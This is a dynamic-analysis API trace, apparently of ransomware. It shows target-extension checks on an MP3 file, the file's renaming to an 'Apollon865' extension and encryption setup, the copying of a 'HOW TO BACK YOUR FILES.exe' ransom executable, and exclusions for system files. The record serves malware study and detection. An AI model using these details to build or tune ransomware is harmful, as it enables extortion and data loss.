	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0046.024] lstrlenW (lpString="dcb") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0046.024] lstrlenW (lpString="dct") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0046.024] lstrlenW (lpString="dcx") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0046.024] lstrlenW (lpString="ddl") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0046.024] lstrlenW (lpString="dlis") returned 4
	[0046.024] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0046.024] lstrlenW (lpString="dp1") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0046.024] lstrlenW (lpString="dqy") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0046.024] lstrlenW (lpString="dsk") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0046.024] lstrlenW (lpString="dsn") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0046.024] lstrlenW (lpString="dtsx") returned 4
	[0046.024] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0046.024] lstrlenW (lpString="dxl") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0046.024] lstrlenW (lpString="eco") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0046.025] lstrlenW (lpString="ecx") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0046.025] lstrlenW (lpString="edb") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0046.025] lstrlenW (lpString="epim") returned 4
	[0046.025] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0046.025] lstrlenW (lpString="fcd") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0046.025] lstrlenW (lpString="fdb") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0046.025] lstrlenW (lpString="fic") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0046.025] lstrlenW (lpString="flexolibrary") returned 12
	[0046.025] lstrcmpiW (lpString1="eep Away.mp3", lpString2="flexolibrary") returned -1
	[0046.025] lstrlenW (lpString="fm5") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0046.025] lstrlenW (lpString="fmp") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0046.025] lstrlenW (lpString="fmp12") returned 5
	[0046.025] lstrcmpiW (lpString1="y.mp3", lpString2="fmp12") returned 1
	[0046.025] lstrlenW (lpString="fmpsl") returned 5
	[0046.025] lstrcmpiW (lpString1="y.mp3", lpString2="fmpsl") returned 1
	[0046.025] lstrlenW (lpString="fol") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0046.025] lstrlenW (lpString="fp3") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0046.025] lstrlenW (lpString="fp4") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0046.025] lstrlenW (lpString="fp5") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0046.025] lstrlenW (lpString="fp7") returned 3
	[0046.025] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0046.025] lstrlenW (lpString="fpt") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0046.026] lstrlenW (lpString="frm") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0046.026] lstrlenW (lpString="gdb") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0046.026] lstrlenW (lpString="gdb") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0046.026] lstrlenW (lpString="grdb") returned 4
	[0046.026] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0046.026] lstrlenW (lpString="gwi") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0046.026] lstrlenW (lpString="hdb") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0046.026] lstrlenW (lpString="his") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0046.026] lstrlenW (lpString="ib") returned 2
	[0046.026] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0046.026] lstrlenW (lpString="idb") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0046.026] lstrlenW (lpString="ihx") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0046.026] lstrlenW (lpString="itdb") returned 4
	[0046.026] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0046.026] lstrlenW (lpString="itw") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0046.026] lstrlenW (lpString="jet") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0046.026] lstrlenW (lpString="jtx") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0046.026] lstrlenW (lpString="kdb") returned 3
	[0046.026] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0046.026] lstrlenW (lpString="kexi") returned 4
	[0046.026] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0046.026] lstrlenW (lpString="kexic") returned 5
	[0046.027] lstrcmpiW (lpString1="y.mp3", lpString2="kexic") returned 1
	[0046.027] lstrlenW (lpString="kexis") returned 5
	[0046.027] lstrcmpiW (lpString1="y.mp3", lpString2="kexis") returned 1
	[0046.027] lstrlenW (lpString="lgc") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0046.027] lstrlenW (lpString="lwx") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0046.027] lstrlenW (lpString="maf") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0046.027] lstrlenW (lpString="maq") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0046.027] lstrlenW (lpString="mar") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0046.027] lstrlenW (lpString="marshal") returned 7
	[0046.027] lstrcmpiW (lpString1="way.mp3", lpString2="marshal") returned 1
	[0046.027] lstrlenW (lpString="mas") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0046.027] lstrlenW (lpString="mav") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0046.027] lstrlenW (lpString="maw") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0046.027] lstrlenW (lpString="mdbhtml") returned 7
	[0046.027] lstrcmpiW (lpString1="way.mp3", lpString2="mdbhtml") returned 1
	[0046.027] lstrlenW (lpString="mdn") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0046.027] lstrlenW (lpString="mdt") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0046.027] lstrlenW (lpString="mfd") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0046.027] lstrlenW (lpString="mpd") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0046.027] lstrlenW (lpString="mrg") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0046.027] lstrlenW (lpString="mud") returned 3
	[0046.027] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0046.028] lstrlenW (lpString="mwb") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0046.028] lstrlenW (lpString="myd") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0046.028] lstrlenW (lpString="ndf") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0046.028] lstrlenW (lpString="nnt") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0046.028] lstrlenW (lpString="nrmlib") returned 6
	[0046.028] lstrcmpiW (lpString1="ay.mp3", lpString2="nrmlib") returned -1
	[0046.028] lstrlenW (lpString="ns2") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0046.028] lstrlenW (lpString="ns3") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0046.028] lstrlenW (lpString="ns4") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0046.028] lstrlenW (lpString="nsf") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0046.028] lstrlenW (lpString="nv") returned 2
	[0046.028] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0046.028] lstrlenW (lpString="nv2") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0046.028] lstrlenW (lpString="nwdb") returned 4
	[0046.028] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0046.028] lstrlenW (lpString="nyf") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0046.028] lstrlenW (lpString="odb") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0046.028] lstrlenW (lpString="odb") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0046.028] lstrlenW (lpString="oqy") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0046.028] lstrlenW (lpString="ora") returned 3
	[0046.028] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0046.028] lstrlenW (lpString="orx") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0046.029] lstrlenW (lpString="owc") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0046.029] lstrlenW (lpString="p96") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0046.029] lstrlenW (lpString="p97") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0046.029] lstrlenW (lpString="pan") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0046.029] lstrlenW (lpString="pdb") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0046.029] lstrlenW (lpString="pdm") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0046.029] lstrlenW (lpString="pnz") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0046.029] lstrlenW (lpString="qry") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0046.029] lstrlenW (lpString="qvd") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0046.029] lstrlenW (lpString="rbf") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0046.029] lstrlenW (lpString="rctd") returned 4
	[0046.029] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0046.029] lstrlenW (lpString="rod") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0046.029] lstrlenW (lpString="rodx") returned 4
	[0046.029] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0046.029] lstrlenW (lpString="rpd") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0046.029] lstrlenW (lpString="rsd") returned 3
	[0046.029] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0046.029] lstrlenW (lpString="sas7bdat") returned 8
	[0046.029] lstrcmpiW (lpString1="Away.mp3", lpString2="sas7bdat") returned -1
	[0046.029] lstrlenW (lpString="sbf") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0046.030] lstrlenW (lpString="scx") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0046.030] lstrlenW (lpString="sdb") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0046.030] lstrlenW (lpString="sdc") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0046.030] lstrlenW (lpString="sdf") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0046.030] lstrlenW (lpString="sis") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0046.030] lstrlenW (lpString="spq") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0046.030] lstrlenW (lpString="te") returned 2
	[0046.030] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0046.030] lstrlenW (lpString="teacher") returned 7
	[0046.030] lstrcmpiW (lpString1="way.mp3", lpString2="teacher") returned 1
	[0046.030] lstrlenW (lpString="tmd") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0046.030] lstrlenW (lpString="tps") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0046.030] lstrlenW (lpString="trc") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0046.030] lstrlenW (lpString="trc") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0046.030] lstrlenW (lpString="trm") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0046.030] lstrlenW (lpString="udb") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0046.030] lstrlenW (lpString="udl") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0046.030] lstrlenW (lpString="usr") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0046.030] lstrlenW (lpString="v12") returned 3
	[0046.030] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0046.031] lstrlenW (lpString="vis") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0046.031] lstrlenW (lpString="vpd") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0046.031] lstrlenW (lpString="vvv") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0046.031] lstrlenW (lpString="wdb") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0046.031] lstrlenW (lpString="wmdb") returned 4
	[0046.031] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0046.031] lstrlenW (lpString="wrk") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0046.031] lstrlenW (lpString="xdb") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0046.031] lstrlenW (lpString="xld") returned 3
	[0046.031] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0046.031] lstrlenW (lpString="xmlff") returned 5
	[0046.031] lstrcmpiW (lpString1="y.mp3", lpString2="xmlff") returned 1
	[0046.031] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.Apollon865") returned 60
	[0046.031] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.apollon865"), dwFlags=0x1) returned 1
	[0046.032] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0046.032] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4842585) returned 1
	[0046.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.037] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf678) returned 1
	[0046.037] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.037] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.038] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49e760, lpName=0x0) returned 0x15c
	[0046.042] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x9e760) returned 0x4d0000
	[0046.692] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.696] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.696] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.728] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0046.734] CloseHandle (hObject=0x15c) returned 1
	[0046.734] CloseHandle (hObject=0x158) returned 1
	[0046.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.735] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.744] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0
	[0046.744] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0046.744] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0046.744] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Libraries", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0046.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca3d0 | out: hHeap=0x580000) returned 1
	[0046.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0046.744] lstrlenW (lpString="C:\\Users\\Public\\Libraries") returned 25
	[0046.744] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0046.744] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.744] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\libraries\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.744] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.745] GetLastError () returned 0x0
	[0046.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.745] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.745] CloseHandle (hObject=0x14c) returned 1
	[0046.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.745] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.745] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dbbd650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca3d0
	[0046.745] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.745] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.745] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.745] FindNextFileW (in: hFindFile=0x5ca3d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dbbd650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.745] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.745] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.745] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.745] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.745] FindNextFileW (in: hFindFile=0x5ca3d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.745] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.746] lstrlenW (lpString="desktop.ini") returned 11
	[0046.746] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\*") returned 27
	[0046.746] lstrcpyW (in: lpString1=0x119e63c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.746] lstrlenW (lpString="desktop.ini") returned 11
	[0046.746] lstrlenW (lpString="Apollon865") returned 10
	[0046.746] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.746] lstrlenW (lpString=".dll") returned 4
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.746] lstrlenW (lpString=".lnk") returned 4
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.746] lstrlenW (lpString=".ini") returned 4
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.746] lstrlenW (lpString=".sys") returned 4
	[0046.746] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.746] lstrlenW (lpString="desktop.ini") returned 11
	[0046.746] lstrlenW (lpString="bak") returned 3
	[0046.746] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0046.746] lstrlenW (lpString="ba_") returned 3
	[0046.746] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0046.746] lstrlenW (lpString="dbb") returned 3
	[0046.746] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0046.746] lstrlenW (lpString="vmdk") returned 4
	[0046.746] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0046.746] lstrlenW (lpString="rar") returned 3
	[0046.746] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0046.746] lstrlenW (lpString="zip") returned 3
	[0046.746] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0046.746] lstrlenW (lpString="tgz") returned 3
	[0046.746] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0046.747] lstrlenW (lpString="vbox") returned 4
	[0046.747] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
